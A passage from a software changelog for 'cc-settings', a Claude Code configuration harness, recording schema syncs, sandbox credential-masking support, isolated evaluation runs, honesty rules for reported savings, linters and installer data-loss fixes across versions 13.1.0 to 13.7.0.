  • crossSessionInbound ("accept" | "hold" | "refuse") in src/schemas/settings.ts — what a session does with messages arriving from your other sessions. The trap worth knowing: unset is not accept. With no value in scope Claude Code decides per message by comparing both sessions' permission modes, and holds anything a bypassPermissions session sends. A "refuse" in project or local settings outranks every other scope, inverting the usual precedence.
  • isolatePeerMachines (boolean) — approval gate before a message leaves the machine. true from any scope wins, so a checked-in project file can turn it on but never off.
  • dialogExpiry ("60s" | "5m" | "10m" | "never", default "5m") — how long a held-message approval dialog waits. Typed from the binary's own enum; the docs describe it in prose as "five minutes", which reads as a duration in milliseconds and is not.
  • sandbox.network.allowUnixSockets / allowAllUnixSockets — predate this window but were never modelled. They decide whether a sandboxed Bash command can reach a session's inbox socket, which makes them load-bearing for this feature.
  • Manifest: CLAUDE_CODE_MESSAGING_SOCKET added to knownEnvVars, ListAgents to knownBuiltinTools.
  • CLAUDE-FULL.md "Resume, don't respawn" said SendMessage resumes agents you spawned; it now also reaches your other sessions, and the rule said nothing about that.

Adopted — sandbox credential masking (upstream 2.1.224):

  • decode: "jwt" and maskClaims on both credentials.files and credentials.envVars entries. A JWT-shaped secret is replaced with a synthetic JWT rather than an opaque sentinel, so tools that parse the token structurally keep working; maskClaims narrows that to named claims. Both fail open — a value that doesn't verify as a JWT is left readable inside the sandbox with only a console warning, which is worth knowing before trusting either as protection.
  • credentials.awsPairs and credentials.sigv4 (streaming/presigned/sigv4a, each "deny" by default). SigV4 signs requests with the secret itself, so a masked AWS secret produces a signature the service rejects; declaring the pair lets the proxy re-sign on egress.
  • These four were already in the 2.1.223 binary — 2.1.224 added validation and diagnostics, not the surface. So this closed a pre-existing gap the changelog happened to surface, not fresh drift. Nothing had been silently stripped, because the nested sandbox objects went loose in the previous sync.

Corrected:

  • CLAUDE_CODE_MAX_SUBAGENTS_PER_SESSION was documented as "default 200". Upstream removed that cap in 2.1.224; the variable is still recognized, so the row now says to set it explicitly if you want a ceiling.

Skipped, with reasons: claude self-hosted-runner and its ~30 CLAUDE_RUNNER_* env vars (Team/Enterprise, injected by the runner rather than user-set); the archive plugin source (lives in known_marketplaces.json — cc-settings models marketplace IDs only, so there's no plugin-source schema to extend); the gateway spend-limit message; the claude agents workspace-trust prompt. 2.1.226 was bug-fixes-only.

Known gap, not fixed here: the binary's settings enumeration carries ~70 top-level keys knownSettingsKeys doesn't have (theme, verbose, autoCompactEnabled, askUserQuestionTimeout, daemonColdStart, the totalTokensReminder* and ssh* families, …). Nearly all long predate this window, so folding them into a version-sync diff would have buried the actual drift. Recorded in the manifest notes; it needs its own reconciliation pass.

Files changed:

  • src/schemas/settings.ts, schemas/settings.schema.json
  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • CLAUDE-FULL.md
  • src/setup.ts
  • CHANGELOG.md

[13.7.0] — 2026-08-07

/autoresearch was scoring a contaminated environment. It sampled skill variants by spawning Agent(implementer, …) — an in-process subagent, which inherits ~/.claude/CLAUDE.md, the installed hooks, and the whole skill list. Every measurement was therefore our config plus the skill, never the skill. When the skill under test overlapped anything already in CLAUDE.md (delegation, register, the Laziness Ladder), the loop optimized toward a baseline that already contained the behavior it was trying to add, and a genuine improvement scored as worthless.

Samples now run as an isolated subprocess with settings disabled and the model pinned:

claude -p --setting-sources "" --strict-mcp-config \
  --model "$AUTORESEARCH_MODEL" --append-system-prompt "$BODY" "<test input>"

--setting-sources "" loads none of user/project/local. The model pin matters for the same reason: isolation also drops the operator's saved model and effort settings, so an unpinned run silently measures whatever the CLI currently defaults to — the score then drifts between machines and across releases. The pinned model is now part of the recorded result, configurable via model: in RESEARCH.md (default claude-sonnet-5).

Two more holes closed in the same loop. Guardrails: the checklist measured whether a skill did its job but never noticed a mutation buying a higher score by cutting something that mattered — a terser variant that drops a confirmation step scores better on a concision-shaped checklist. The judge now also scores correctness and safety 1–5 plus a blocker flag, and a KEEP requires no blocker, both guardrails within 0.1 of their baseline, and the usual checklist improvement. A round that trips a guardrail logs as vetoed, not reverted — it found a real exploit in the metric and should never be re-proposed. Control arm: mutation scores are relative and say only that variant B beat variant A, never that the skill beats no skill. Publishing any "this skill helps" claim now requires an extra condition carrying a plain one-line instruction of the same intent; skill-vs-instruction is the honest delta, skill-vs-empty conflates the skill with the generic ask.

Rubric shape adapted from ayghri/i-have-adhd's eval harness (MIT); the control-arm design from juliusbrussee/caveman's, whose earlier version made exactly the skill-vs-nothing mistake and published inflated numbers because of it.

SHORTCUT: markers give the Laziness Ladder a receipt. The ladder told you to cut corners and nothing tracked the ones you cut deliberately. A deliberate simplification with a known ceiling now carries a comment naming both the ceiling and what should trigger revisiting it:

// SHORTCUT: single global lock, not per-key.
// ceiling: contention above ~50 rps
// upgrade: shard by key hash when p99 write latency climbs

The trigger is the load-bearing half — a marker naming a ceiling but no trigger is how a deferral quietly becomes permanent, since nobody knows what would make it worth fixing. bun run lint:shortcuts errors on a missing upgrade: line and warns on a missing ceiling:; it is wired into CI. /audit gains a fifth mode, debt, which collects every marker into one ledger with no-trigger entries listed first. Convention and ledger adapted from dietrichgebert/ponytail.

Two details that are easy to get wrong. The marker must be the first thing on its line: the linter's own source contains the marker text inside regex literals, and an unanchored pattern reports the linter as its own debt (there is a regression test for exactly this). And SHORTCUT: is explicitly carved out of AGENTS.md's "TODO Comments Are Instructions" rule — implementing one on sight is the over-build the ladder exists to prevent, so it comes out only once its trigger has fired.

No savings against a run that never happened. New rule in both AGENTS.md and CLAUDE-FULL.md — duplicated deliberately, since Claude Code never loads AGENTS.md and a rule living only there reaches no session or subagent. Report a delta only between two things that were both measured. "Saved ~400 lines", "cut token use 60%", "3× faster" are unknowable when the unoptimized version was never written: there is no baseline to subtract from, so the number is invented however plausible it looks. Count what exists (lines deleted in this diff, a benchmark run twice) and label any genuine extrapolation est.. This bites hardest on figures that flatter the work, which are the easiest to fabricate and the least likely to be checked.

Three files carried a version; nothing checked two of them. src/setup.ts is the documented source of truth, and a test already pinned .claude-plugin/plugin.json to it — added after that file sat at 8.1.0 for two major versions. package.json had no such test and had drifted to 13.4.3 across three releases; the CHANGELOG's top heading had none either. Both are now covered by the same installerVersion() helper in tests/plugin-manifest.test.ts, verified by deliberately desyncing package.json and watching it fail rather than by observing it pass.

Skill descriptions now read as one index. Four skills had drifted off the house convention — retro, strategist, and plan-ceo-review used description: | block scalars rendering as bullet lists, and tldr used "Use for". The Skill selector reads every description each turn and a human skims the same list in MANUAL.md; one entry as a bullet list and the next 37 as sentences makes the index unskimmable and buries the trigger phrases. All four rewritten to <what it does>. Triggers "a", "b"., and lint:skills gained two rules so they can't drift back: a multi-line description is an error, and trigger language that isn't the literal Triggers is a warning.

The first casualty of the new honesty rule was our own copy. /tldr claimed "~95% fewer tokens than reading raw files" in three places with no benchmark behind it anywhere in the repo. Replaced with a description of what the tool actually returns plus a note on how to measure it yourself — a savings number we never ran is exactly what the rule forbids, and shipping the rule while keeping the number would have been the wrong lesson.

The docs advertised a command catalog; the product is a description matcher. MANUAL.md opened by saying "You don't need to memorize this — just describe what you want", and the README then listed 38 skills by name, so a new user reasonably concluded there were 38 commands to learn. The catalog framing won because it was louder, and that was the whole learning curve.

Three fixes, no behavior change. MANUAL's install-tier tables moved from the first 60 lines down to ## Install Tiers (Light vs Full) near the end — anyone reading the manual has already installed. The Quickstart now leads with "there is nothing to memorize" and a 13-row you say → what runs table. The README gained an After installing section that shows four sentences you can type instead of a feature list, and its skills bullet describes how skills fire rather than naming them.

The table's middle rows do the load-bearing work: nine skills look at code and tell you something, and each description explains its own boundary well enough for the model to route correctly, but you only learn the boundaries by reading all nine. One line now separates them by the question being asked — /review reads your diff, /proof-of-work proves it green, /verify breaks a claim, /qa looks at pixels, /triage handles code you didn't write, /audit sweeps the repo.

Also repaired two broken anchors, one created by the section move and one that predated it (#whats-on never matched its heading). A one-off sweep confirms 0 broken intra-repo anchors across 125 markdown files.

bun run lint:links stops link rot. Section renames are silent: moving MANUAL's "Light vs Full" heading broke a link in docs/install.md with no error anywhere, and a #whats-on link had never matched its heading at all. Both were found by hand. The linter now validates every intra-repo markdown link — relative file targets must exist, #anchors must slug to a real heading — reimplementing GitHub's slug rules including the -1 suffix on duplicate headings. External URLs are never fetched. Wired into CI alongside the other linters; 41 links across 128 files, currently clean.

Its own first run reported two false positives, both the same bug: it stripped fenced code blocks but not inline code spans, so prose quoting a link as an example was validated as a real one. One of the two was a CHANGELOG entry describing a past [^)]* URL-matching bug — the matcher reproduced the very bug the text documented. Both shapes are now regression tests, and the linter was verified by deliberately breaking a real anchor and watching CI-equivalent output fail, not by observing a green run on an already-clean tree.

The prompting ideas from all three upstream repos were already absorbed — i-have-adhd's output shaping into output-styles/darkroom.md, ponytail's ladder into AGENTS.md, caveman rejected for overcorrecting the register. What this release takes is the part that was skipped: their measurement discipline.

[13.6.2] — 2026-08-06

Everyone was silently on context7's lower tier. cc-settings ships context7 as the keyless stdio transport (bunx -y @upstash/context7-mcp), and context7 documents a free API key as what "unlocks higher rate limits and use your private repositories". Nothing anywhere said so, so every install sat on the worse tier by default.

This surfaced backwards. A maintainer's machine had a hand-configured hosted entry with a key, which the installer correctly preserved and reported as "your copy is in use — cc-settings' version not applied". That message names a divergence but not its direction, so the better setup read as drift to clean up — and briefly got cleaned up.

The install summary now prints one line when our keyless entry is the one actually running:

context7 is running keyless (lower rate limits).
Higher limits + private repos: bunx ctx7 setup --claude --mcp
Free key: context7.com/dashboard

It points at ctx7 setup, which context7 maintains and which does its own OAuth, key generation, and config write. cc-settings never reads, writes, stores, or prints a key. Two reasons it hints rather than running anything: the repo has no precedent for an interactive or OAuth third-party handoff — every child-process spawn in packages.ts, pinned-tools.ts, schedule.ts, and git.ts passes stdin: "ignore" precisely so setup can never block — and the auth contract is context7's to own (their README documents Authorization: Bearer while a working local config used a CONTEXT7_API_KEY header; guessing between them is not our job). The precedent copied is cli-preflight.ts: detect, print the command, never run it, never block.

Detection reuses a signal that already existed — installMcpToClaudeJson returns the shipped server names a user definition shadowed, which showSummary already renders. No new file reads, no ~/.claude.json parsing, no sentinel state, and no suppression flag: the hint disappears by itself once you replace the entry, the same way a cli-preflight warning disappears once you install rg. New pure shouldHintContext7() in src/lib/install-display.ts, unit-tested across five cases; the load-bearing one is that a user running their own entry is never nudged.

The condition is deliberately "our shipped entry is live", not "no API key present" — cross-model review flagged the gap, and the narrower behavior is the intended one. A hand-written keyless entry also silences the hint, because inspecting an entry for auth markers would mean picking between Authorization: Bearer and a CONTEXT7_API_KEY header, and that contract belongs to context7. The reminder targets the default nobody chose.

[13.6.1] — 2026-08-06

Cross-model review of 13.6.0 (OpenAI Codex against the pushed commit) returned five findings. All five verified real; all five fixed. Two are worth reading.

--rollback could delete a personal output style — the third instance of one bug. 13.6.0 narrowed two destructive paths around the shared output-styles/ directory and missed a third: managedRestoreAllowset builds its allowlist from MANAGED_TOP_LEVEL_PATHS[].rel, so rollback treated the directory as a wholly-owned unit and deleted-then-restored it, losing any style written since the last backup. The deeper problem was that "which files do we own in here" existed as three separate expressions — a regex in install-fs.ts, a lookup map in light-profile.ts, and nothing at all in install-cmds.ts. A ownedFiles field on ManagedTopLevelEntry is now the single source, the cleanup glob is derived from that same array so the two cannot drift, and rollback restores shared dirs file-by-file. tests/output-style-preserve.test.ts now pins all three paths (install, full→light downgrade, rollback), each verified red first.

The extraction also broke an import cycle it would otherwise have created: install-fs.ts already imported light-profile.ts, so having light-profile.ts import back for the shared fact made the two mutually dependent, resolvable only by hoisting. The data has no dependencies of its own, so it now lives in src/lib/managed-paths.ts and both import downward.

The register rules were mirrored into a file Claude Code never loads. 13.6.0 stated that an output style doesn't reach subagents (true) and therefore mirrored the register rules into AGENTS.md (useless). Per the subagent docs, a non-fork subagent inherits every level of the CLAUDE.md hierarchy including ~/.claude/CLAUDE.md, and AGENTS.md is auto-loaded at no scope whatsoever — it is only read when something instructs the model to read it. The register block now lives in CLAUDE.md, carrying a comment explaining why it must not be deduplicated back into the style. AGENTS.md keeps a copy, correctly labeled as the portable one for Codex, Cursor, and humans. Built-in Explore and Plan skip CLAUDE.md as well, which is why the implementer briefing contract already requires restating critical rules in the delegation prompt.

whats-on accuracy, three fixes. It claimed AGENTS.md was "always injected, every turn" (it is not). It called all of rules/ path-conditioned, when a rule file without paths: frontmatter loads every turn — rules/README.md is one, and it had been silently costing context. It resolved an output style by filename, so the shipped darkroom.md only matched outputStyle: "Darkroom" on case-insensitive filesystems and would have false-warned on Linux; resolution now parses each style's frontmatter name. The report also no longer claims to describe "this session" from user-scope data alone — it says so plainly and names the scopes that can override it, flagging a project-level .claude/settings.json when one is present.

bun run whats-on needed the repo checkout. Most people install cc-settings and never keep the clone. docs/whats-on.md now leads with bun ~/.claude/src/scripts/whats-on.ts, which works from an install alone.

[13.6.0] — 2026-08-06

The Darkroom output style, default on. Response-style rules move out of CLAUDE-FULL.md and into output-styles/darkroom.md, installed to ~/.claude/output-styles/ and selected by "outputStyle": "Darkroom". The placement was the bug, not the rules: a CLAUDE.md instruction is delivered as a user message after the system prompt, so it competes with the system prompt and decays over a few turns. An output style is part of the system prompt, and Claude Code re-issues adherence reminders for it mid-conversation. Same rules, a delivery mechanism that doesn't wear off. Prompted by a 2026-08-06 #agentic-development thread where two engineers independently reported Opus 5's prose as "barely readable" and a hand-written communication_style.md "works for 1 to 2 turns before reverting back to gibberish."

The style carries two independent rule sets:

  • Register (new) — subject first, no stacked modifiers in front of the noun, no coined terms for things that already have names, identifiers only when pointing at code, jargon defined inline on first use, effect before mechanism. It targets comprehension, never word count, and says so explicitly: length is not the target and clipping sentences is forbidden. This is deliberate. Every brevity-targeting fix the team tried first — /caveman, /talk-normal, /tldr, ayghri/i-have-adhd — overcorrected into a register that was shorter and no clearer, which is the failure aihero.dev/skills-wait-what names: instructing on output characteristics produces "a caveman register that is shorter and no clearer."
  • Shape — the former "Action-First Output (always on)" rules, moved unchanged (adapted from ayghri/i-have-adhd, MIT).

Two limits are documented rather than papered over. An output style applies to the main conversation only — a subagent runs its own system prompt (a /fork is the exception, it inherits the parent's). What a subagent does inherit is the CLAUDE.md hierarchy, so the register rules are duplicated into CLAUDE.md as the copy delegated work actually reads, with a comment saying not to dedupe it. AGENTS.md carries a third copy for Codex, Cursor, and humans; Claude Code never auto-loads it. And an output style loads once per session: changing it takes effect after /clear or a new session. CLAUDE-FULL.md keeps a pointer explaining both, plus the one genuinely cc-settings-specific escalation that isn't voice (the three-strikes model: "fable" subagent pivot). To opt out: /config → Output style → Default, or set your own outputStyle — user scope beats the shipped value.

bun run whats-on — the adoption blocker was legibility, not features. From the same thread: "i don't know what cc settings ships either, that's why i'm not using it" — said by an engineer who has never installed it, while an engineer who has, asked the same question, answered "yes, afaik aha". bun src/setup.ts --status already existed but answers a different question: install health, presence counts, version drift. Counts do not tell anyone what the thing is doing to their session. The new report is effect-oriented — output style in effect, which instruction files are genuinely always-on versus path-conditioned, model and effort, every wired hook with its own leading comment as the description, then skill/agent/MCP/permission inventory — and every section carries its off-switch. Hook descriptions are read from each script's own file comment, never invented; a script with no comment prints its basename alone. --json emits the same data. It is read-only and cannot crash on a settings file it doesn't fully model.

A data-loss bug caught before it shipped — on both destructive paths. ~/.claude/output-styles/ is not a directory cc-settings owns. It is a directory it shares with the user, because Claude Code's own /config picker tells people to hand-write styles at exactly that path. Every other managed dir (agents, rules, profiles, docs) is cc-settings content end to end, and both destructive paths are written for that assumption:

  1. cleanOldConfig — the first cut registered output-styles in MANAGED_TOP_LEVEL_PATHS with the usual broad \.md$ glob, and removeGlob deletes every matching file in the directory. Now scoped to /^darkroom\.md$/.
  2. lightProfilePruneTargets — a full→light downgrade rm -rfs each full-only dir, and output-styles had just become one. New SHARED_DIR_OWNED_FILES map prunes only the shipped file, leaving the directory and its other contents alone.

Either one would have deleted a personal output style — the exact artifact the people who prompted this release are hand-writing right now. tests/output-style-preserve.test.ts pins both end-to-end (install → hand-write a foreign style → re-install / downgrade → assert the foreign style survives with its content intact, and ours is refreshed or removed as the profile requires). Both tests were verified red against the unscoped versions before landing; a regression test that never failed proves nothing.

Sandbox credential masking — a schema gap that rejected valid configs. sandbox.credentials modeled mode as z.enum(["deny"]), so any settings file using "mode": "mask" failed Settings.safeParse outright. mask shipped upstream for env vars in 2.1.199 and for files in 2.1.221; both were missed. Now modeled in full: CredentialMode (deny | mask), plus extract, injectHosts, onExtractNoMatch, maskDuplicates on files and injectHosts on env vars. Chasing it surfaced a worse one — the nested network, filesystem, and credentials objects were strict z.objects, which in zod strip unknown keys rather than erroring, and network.allowedDomains (the most-used sandbox key of all) had never been modeled and was being silently dropped on every parse. All three are now z.looseObject, and allowedDomains, allowManagedDomainsOnly, tlsTerminate, and allowPlaintextInject are modeled explicitly. Verified by round-tripping the documented ~/.config/gh/hosts.yml mask example and asserting nothing is stripped.

Claude Code 2.1.220 → 2.1.223 sync.

  • Adopted: the credential-masking surface above; three env vars tracked in the manifest (CLAUDE_CODE_DISABLE_UNKNOWN_MODEL_WINDOW_ENFORCEMENT, new in 2.1.223; CLAUDE_CODE_RESUME_INTERRUPTED_TURN, never tracked; CLAUDE_CODE_DISABLE_1M_CONTEXT, whose semantics changed — it now holds every Claude model with a native 1M window to 200K via auto-compaction rather than a fixed list, which matters here because the shipped default model is 1M-native Opus 5). blockedMarketplaces / strictKnownMarketplaces accept "owner/*" org wildcards as of 2.1.223 (no schema change needed — documented in the comments and settings reference).
  • Docs corrected: native /review is now an alias of /code-review (2.1.223), so skills/review/SKILL.md's "distinct from native /review which inspects open PRs" was false and is fixed, along with three stale MANUAL.md passages. /code-review with no effort level now reuses the last level typed.
  • Verified, not adopted: 2.1.223 fixed a Bash permission bypass via tab/invisible-Unicode padding and 2.1.221 fixed zsh executing hidden commands in [[ ]] conditionals. Both were checked against our permissions:check dry-runner: it never spawns a shell (the only exec in the file is RegExp.exec) and has no display-vs-execute split, and it does no Unicode normalization — a padded command simply fails to match an allow rule and falls through to ask. It fails closed; no change needed.
  • Skipped: ultraplan's removal (2.1.222) — zero references in cc-settings, confirmed by grep. ~55 other entries with no cc-settings surface.

Known gap, unchanged: sandbox.filesystem.denyRead / denyWrite are referenced in comments and docs but still not modeled as explicit fields. Now that filesystem is loose they round-trip correctly instead of being stripped, so this is a documentation-completeness gap rather than a correctness one.

[13.5.0] — 2026-08-04

Reading diffs — /review-batch and /review now present agent diffs as reading diffs: the real git diff abridged by remove/fold/elide operations against verbatim lines, never a prose-only summary (prose can lie by omission; a diff can't). Re-entry cards carry one for any change past ~40 changed lines; /review walks one past ~200. Two rules exist specifically because the diff author is an untrusted agent: moves get symmetric treatment with (unchanged) earned by actually comparing both sides, and every reading diff closes with a dropped-content accounting line that never silences dependency changes — new packages, changed import targets, and lockfile version/integrity bumps all get named, and a lockfile change with no matching manifest change is a finding, not noise. Protocol adapted from boldsoftware/meat (Apache-2.0).

Known-vendor hook trust — the hook auditor's KNOWN_VENDOR_HOOK_PATTERNS: third-party integrations whose settings.json hook commands are fully specified inline can classify as trusted via an exact-anchored template match — the template match is the content verification, since there's no file on disk to drift. First entry: the six hooks Programa.app installs, which previously flagged unknown on every audit run (alarm fatigue on the one report that must stay readable). The only variable part is an explicit alternation of the six verified event names — no open token classes — and malware signatures still run first and always win. Hardened per security review + Codex cross-review: newline-anchor regression tests, and a CI-enforced shape contract over the bank (flagless, ^...$-anchored, no bare wildcard dots) so a future "just another regex line" vendor entry can't silently regress the property. A vendor shipping a new hook event reappears as unknown until the alternation is deliberately extended — that re-review is the point.

README rewritten as a capability summary — one question answered: what cc-settings adds on top of vanilla Claude Code. Install mechanics moved to docs/install.md; the advisory → gate → measurement loop (13.3.0's "The flow" README section) moved to docs/the-flow.md. Cross-model review of the restructure caught four long-standing factual errors, now fixed: rule count is 10 (the index was being counted), hook wiring is 17 event types / 34 command bindings, the MCP fragment lands in ~/.claude.json (not composed into settings.json), and the destructive-command gate is the permissions deny-list with safety-net as fail-open defense-in-depth — the old text inverted that (SECURITY.md is the authority).

[13.4.3] — 2026-08-03

Follow-up bug from the sonor → sondeo → farolero rename churn: each rename left the previous hook file's settings.json entry behind as an "unrecognized" user extra, since the merger has no way to know the old and new commands are the same hook renamed — so it pointed at a .ts file cc-settings no longer ships, and every git commit spewed Module not found PreToolUse errors. The installer now prunes any existing hook entry whose command references a ~/.claude/src/{scripts,hooks}/*.ts file that the source tree being installed doesn't ship — genuinely custom hooks (raw shell commands, scripts anywhere else on disk) are untouched. Fixes the noise for anyone who installed 13.4.0–13.4.2; no other behavior change.

[13.4.2] — 2026-08-03

npm's similarity filter also rejected sondeo. The final name, validated against the live registry via a published name-reservation stub, is farolero (Spanish: the lamplighter). The 13.4.1 glue below is renamed to match — no behavior change.

  • pre-commit-sondeo.ts → pre-commit-farolero.ts (hook file, functions, dependency check, marker string, spawned binary).
  • /triage's sondeo sweep step is now the farolero sweep, same behavior.

[13.4.1] — 2026-08-03 (renamed to farolero in 13.4.2)

The sibling project renamed itself from sonor to sondeo after npm rejected "sonor" as too similar to existing packages (sonner, hono, color, sinon). The 13.4.0 glue below is renamed to match — no behavior change.

  • pre-commit-sonor.ts → pre-commit-sondeo.ts (hook file, functions, dependency check, marker string, spawned binary).
  • /triage's sonor sweep step is now the sondeo sweep, same behavior.

[13.4.0] — 2026-08-03 (renamed to sondeo in 13.4.1)

The cc-settings side of the sonor glue (sonor issue #5, item 4) — the part that has to live here since sonor itself must work with zero Claude Code assumptions.

  • New pre-commit-sonor.ts PreToolUse hook: on git commit*, if the target repo has sonor as a dependency and installed, runs sonor ratchet --changed and blocks on a red gate. Skips silently when sonor isn't a dependency, isn't installed, or its own git hooks are already active for the repo (the sonor-managed marker on core.hooksPath/.git/hooks/pre-commit) — this hook is a fallback for repos that declared sonor but never ran sonor install-hooks, not a replacement for sonor's own commit-time and CI enforcement. Fail-open on every operational failure (missing binary, spawn error, timeout, sonor's own exit-2 code); only a genuine ratchet exit 1 blocks.
  • /triage gains a sonor sweep step: when the repo under triage has sonor installed, sonor report --json folds into the ranked findings (byRule counts, byArea hotspots, the baseline object as a ready-to-commit adoption path). Repos without sonor get a one-line adoption note instead — the read-only guardrail on external repos still applies, nothing gets installed on a client's behalf.

[13.3.0] — 2026-08-03

The advisory → gate → measure loop, extracted from a Slack-thread insight (ratchet tests beat prose guardrails because "advisory output is ignorable; a non-zero exit is not") and applied across the harness. The README's new "The flow" section is the map.

Ratchets (gates):

  • The 40-skill soft cap is now SKILL_COUNT_BASELINE — an error in both directions, so adding a skill without consolidating fails, and removing one fails until the baseline is lowered and committed. Every movement of the number lands in git with a reviewer. Lowered 39 → 38 in this release by the /audit merge below.
  • noExplicitAny flipped warn → error (zero violations existed; the door is just closed now).
  • git push is gated on the full proof battery (typecheck + tests + lint) via the new pre-push-proof hook — repos that push straight to main never hit the PR-time gate, so tsc-at-commit was their only local gate. Matcher hardened against git -C/command/env-prefix bypasses, token-exact --dry-run/-n/--help exemptions, quote-aware segment splitting.

Escalation advisory (advisory):

  • When the same tool+error signature fails 3× in a session, the next prompt suggests a scoped Agent(implementer, <slice>, model: "fable") pass instead of another retry — model-aware (Fable sessions get a fresh-context suggestion instead), quota-gated (silent at elevated/critical so it never contradicts quota-steer), once per signature, 10-min debounce. Error samples are redacted-then-bounded before storage (truncate-first leaked credential prefixes past redactSecrets' minimum-length patterns — caught by security review, fixed on all three sinks), session ids validated before filename use, injected samples labeled as data.

Telemetry (measurement):

  • Fired-vs-acted telemetry for both the escalation advisory and the delegation nudge: bun run escalate:stats [--days N], per-advisory act-rates, structurally ≤ 100% (reader-side dedupe absorbs the marker race and write-ordering skew). /retro reports the act-rate weekly. claude-audit gains a gate-firings section reading safety-net.log (reasons only, never commands). The act-rate is the evidence gate for any future promotion of an advisory to a gate.

Hook delivery (probe-verified fix):

  • A headless marker probe against 2.1.220 proved plain stdout from hooks on tool events never reaches the model, and async: true does not prevent envelope injection — the docs had both backwards. Six silently-dead advisories converted to the additionalContext envelope: post-edit-tsc (now bounded to 20 diagnostic lines), cwd-changed, check-docs-before-install, post-edit's review banner, post-failure's repeated-failure hint, pre-edit-validate's warnings. docs/hooks-reference.md now carries the probe matrix with honest scope (PreToolUse/PostToolUse verified; PostToolUseFailure/CwdChanged unprobed).

Skills:

  • /nuclear-review + /adversarial-audit merged into /audit (four modes: maintainability / codebase / docs / process). The bare phrase "audit the codebase" was lexically ambiguous between them; the merged skill owns it and asks one disambiguating question when the phrasing doesn't pin a mode. Both retired names tombstoned so existing installs prune them.

Sibling repo: sonor created — the ratchet pattern as a standalone dev-dependency for client repos (any harness, any model), with the two-mode design (report to triage, ratchet to hold) in its README and first five issues.

[13.2.2] — 2026-07-31

The install summary counted every skill directory under ~/.claude/skills/, so a machine with plugin or third-party skills alongside cc-settings' own printed skills/ (41) under the heading "Installed" when cc-settings had installed 39. It now counts only the skills it ships.

Tombstones are excluded from the other direction: MANAGED_SKILLS includes retired names the installer deletes, and counting a directory it just removed would be worse than counting one it never wrote. The count is against ACTIVE_SKILLS.

[13.2.1] — 2026-07-31

Dropped the CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH pin. It was set to 2 in v12.6.0 to loosen Claude Code's default of 1, so maestro and deslopper could still fan out when invoked as subagents. Upstream 2.1.219 raised its own default to 3, which turned the identical pin into a restriction. Installs now inherit whatever upstream defaults to.

Removing it from config/ alone would only have fixed new installs. env merges as a union with the user winning every conflict, so a key cc-settings stops shipping survives on every existing machine forever — new installs would get depth 3 while everyone who installed since 22 July stayed frozen at 2, with nothing to explain the difference.

So env now has the same retirement mechanism permissions and hook commands already had: DEPRECATED_ENV_KEYS. A key listed there is dropped from an existing settings.json unless the team config still ships it, which means re-adding a retired key later is a one-line config change rather than an edit in two places. The install prints what it pruned.

The tradeoff matches the two existing registries: someone who set the same variable by hand loses their value. That is acceptable for a key we chose for them and wrong for anything we never wrote, so only exact keys cc-settings itself shipped belong in the list.

[13.2.0] — 2026-07-31

Sync with Claude Code 2.1.220 (from 2.1.217).

Adopted:

  • sandbox.network.strictAllowlist (2.1.219) — denies hosts that aren't on the allowlist outright instead of prompting, turning the allowlist from advisory into enforcing. src/schemas/settings.ts, docs/settings-reference.md.
  • DirectoryAdded hook event (2.1.219) — fires after /add-dir or the SDK's register_repo_root adds a working directory mid-session. Thirtieth event. src/schemas/hooks.ts, and the manifest's knownHookEvents, which the scanner does diff, so this was a real gap rather than a documentation one.
  • workflowSizeGuideline (2.1.219) — advisory ceiling on how many agents a dynamic workflow spawns, defaulting to "medium" (under 15). Typed as a bare string, not an enum: the changelog names the default but never lists the accepted values, and a closed set would reject a real one. src/schemas/settings.ts, docs/settings-reference.md.

Both settings keys already parsed before this, since the top-level schema is loose and sandbox.network is a plain object that strips unknowns. What was missing is the emitted JSON Schema that drives IDE autocomplete for settings.json.

Documented, no code change:

  • Skills with context: fork now run in the background by default (2.1.218). That covers 23 of the 39 skills here, so most of the library changed execution model in a patch release: the result arrives as a task notification rather than streaming inline. docs/frontmatter-reference.md, docs/skill-authoring.md, skills/README.md.
  • Subagent nesting depth default went from 1 to 3 (2.1.219). docs/agent-models.md, docs/settings-reference.md.
  • Dynamic workflows default to a medium size guideline (2.1.219). skills/orchestrate, skills/nuclear-review.
  • /code-review runs as a background subagent, and /ultrareview argument handling is fixed (2.1.218). MANUAL.md.

Worth a decision: config/10-core.json pins CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH to 2. That used to loosen upstream's default of 1; upstream now defaults to 3, so the same pin is a restriction. Documented as-is rather than changed, since whether maestro and deslopper should get the extra depth is a behavior call.

Opus 5 becoming the default Opus model was a no-op here — config/10-core.json already pinned claude-opus-5. The rest of the three releases was TUI, vim, screen-reader, Windows-path, Bedrock, and gateway fixes with no cc-settings surface.

Separately, docs/frontmatter-reference.md's skill table was missing triage and adhd, so its category counts summed to 38 rather than 39. Corrected while fixing the fork count.

[13.1.2] — 2026-07-31

The remaining four fixture git helpers now throw instead of discarding exit codes. A failed git commit in handoff, checkpoint, context-continuity-gaps, or session-continuity used to leave a repo with no history and let the test pass anyway — which is how yesterday's signing incident stayed invisible in three of the six suites that had it.

Errors carry the command, the repo path, and the captured stderr, matching the helper auto-update-script.test.ts has always had. That meant switching stderr: "ignore" to "pipe"; an error reading only "git failed" would leave the next person debugging a red suite with no cause, which was the actual problem.

No test broke. With v13.1.1's isolation in place the fixture commits all succeed, so nothing was still passing on a broken fixture. All 26 call sites across the four files were checked for a git command that legitimately expects to fail — there are none, so no opt-out was needed.

[13.1.1] — 2026-07-31

Test fixtures no longer inherit your global git config. Six suites create throwaway repos in the temp dir and commit into them, and those commits picked up whatever ~/.gitconfig said — so on a machine that signs commits through 1Password, a screen lock mid-run was enough to fail four tests for reasons unrelated to the code. CI never saw it, because CI has no signing configured. Every fixture git call and every subprocess spawned under test now runs with GIT_CONFIG_GLOBAL and GIT_CONFIG_SYSTEM pointed at /dev/null.

Signing was just the instance that surfaced. The same leak applied to core.hooksPath, commit.template, aliases, and init.templateDir.

Three of the six suites had been passing on quietly broken fixtures. Their git() helpers discard exit codes, so a failed commit left a repo with no history and the tests passed anyway — they never asserted on it. The count of assertions actually executed across these files goes from 259 to 272 with the fix in place, under a config that breaks signing.

scripts-smoke.test.ts had already worked this out and disabled commit.gpgsign and core.hooksPath by hand; it now uses the same mechanism as everything else. Its core.autocrlf false stays — that guards a real Windows-runner CRLF bug, and nulling the global config does not cover a per-repo setting.

[13.1.0] — 2026-07-31

Each install now records what it wrote to settings.json, in ~/.claude/.cc-settings-baseline.json. Nothing reads it yet — that is the point.

